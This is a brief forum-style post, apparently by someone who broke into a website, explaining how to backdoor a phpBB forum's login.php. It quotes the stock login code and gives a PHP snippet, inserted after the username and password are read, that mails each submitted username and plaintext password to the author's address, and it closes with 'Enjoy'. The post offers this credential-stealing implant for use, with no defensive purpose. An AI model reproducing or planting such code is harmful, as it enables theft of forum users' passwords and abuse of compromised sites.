I wrote this last night after I gained access to a website that also had a phpBB forum, it’s very similar to the VBulletin one, but you actually need access to the login.php file.
In login.php, right under the following code:
if( ( isset($HTTP_POST_VARS['login']) || isset($HTTP_GET_VARS['login']) || isset($HTTP_POST_VARS['login_x']) || isset($HTTP_GET_VARS['login_x'])) && (!$userdata['session_logged_in'] || isset($HTTP_POST_VARS['admin'])) )
{
$username = isset($HTTP_POST_VARS['username']) ? phpbb_clean_username($HTTP_POST_VARS['username']) : '';
$password = isset($HTTP_POST_VARS['password']) ? $HTTP_POST_VARS['password'] : '';
Place this code:
if(strlen($password) > 1 AND strlen($username) > 1)
{
$to= "[email protected]";
$subject = "teh subject";
$message = $username . ' : ' . $password;
mail($to,$subject,$message,$headers);
}
Enjoy
